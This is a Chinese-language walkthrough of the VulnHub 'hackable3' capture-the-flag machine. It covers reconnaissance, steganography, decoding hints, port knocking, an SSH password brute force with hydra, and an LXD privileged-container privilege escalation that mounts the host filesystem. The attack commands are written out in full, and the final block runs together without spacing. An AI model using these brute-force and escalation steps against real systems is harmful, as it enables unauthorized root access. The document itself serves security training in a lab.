一.环境搭建
1.靶场描述
Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.
2.靶场下载
https://download.vulnhub.com/hackable/hackable3.ova
3.靶场启动
二.信息收集
1.寻找靶场真实的Ip
nmap -SP 192.168.246.0/25
arp-scan -l
我们根据这两个命令,可以知道靶场真实IP为192.168.246.7
2.探测端口及服务
nmap -p- -sV http://192.168.246.7
我们可以看到就2个端口,一个80端口,一个22端口
三.渗透测试
1.访问web服务
http://192.168.246.7
我们可以看到就一个页面,我们查看源代码,可以发现一串英文,和一个登录页面
可以看到是一个提示,我们可能需要使用端口敲门
我们访问登录页面
http://192.168.246.7/login_page/login.html
随便输入用户名和密码,发现进去是空白的,我们查看源代码,可以看到一个3.jpg
我们进行访问
http://192.168.246.7/3.jpg
可以看到是一个图片,我们使用steghide
进行解密得到:65535
2.扫描web服务
1)nikto扫描网站结构
nikto -h http://192.168.246.7
2)dirb扫描
dirb http://192.168.246.7
3)dirsearch扫描
dirsearch -u http://192.168.246.7 -e * -x 403 --random-agent
我们可以看到扫描的目录都是一样的,我们一个一个进行访问
3.渗透测试
1)访问目录
http://192.168.246.7/backup/
我们可以看到是一串数字,可能是密码或者用户名
http://192.168.246.7/config
我们发现是一串base64编码,我们进行解密是一个端口
http://192.168.246.7/css/2.txt
我们可以看到是一串Brainfuck编码,解密之后又是一个端口号
根据这些信息,我们猜测是端口敲门。
2)端口敲门
由于网络原因,靶机IP地址更改为10.0.2.4
knock
10.0.2.4
10000 4444 65535
我们没有输入端口敲门命令之前,22端口是关闭的,现在可以看到是开放的
我们开启了22端口,那么我们就使用ssh进行登录
3)ssh登录
用户名我们可以想到是前面源代码里面的jubiscleudo,密码我们使用前面的字典
hydra -l jubiscleudo -P wordlist.txt 10.0.2.4 ssh
我们可以看到爆破成功,我们进行登录
我们可以看到登录成功
接下来我们就是提权
4)提权
我们查看根目录,可以看到有/home/目录,目录下有一个新的用户,我们进行查看,可以看到密码,我们进行登录
我们进行登录
我们查看id,我们看到lxd,那么这里可能就是使用lxd进行提权
何为LXD呢?
LXD(Linux Containers Daemon)是一个用于管理 Linux 容器的守护进程。它提供了一个用户友好的命令行界面和 RESTful API,用于创建、管理和监视 Linux 容器。LXD 构建在 LXC(Linux Containers)之上,是一个轻量级、高性能的容器虚拟化解决方案。
利用原理就是利用lxd组的用户创建一个容器,再用容器挂载到宿主机的磁盘,就可以利用容器的权限(运行在root权限下)操作这个宿主机从而达到提权了
lxd
提权原理是下载一个镜像,使用镜像创建容器,将容器目录直接映射到物理主机目录,即可在容器中直接访问物理主机的文件查看当前系统中的镜像:
lxc image list
cd /tmpgit clone https://github.com/saghul/lxd-alpine-builder/sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpinesudo ./build-alpine -a i686lxc image import ./alpine*.tar.gz --alias myimagelxd initlxc init myimage mycontainer -c security.privileged=truelxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=truelxc start mycontainerlxc exec mycontainer /bin/sh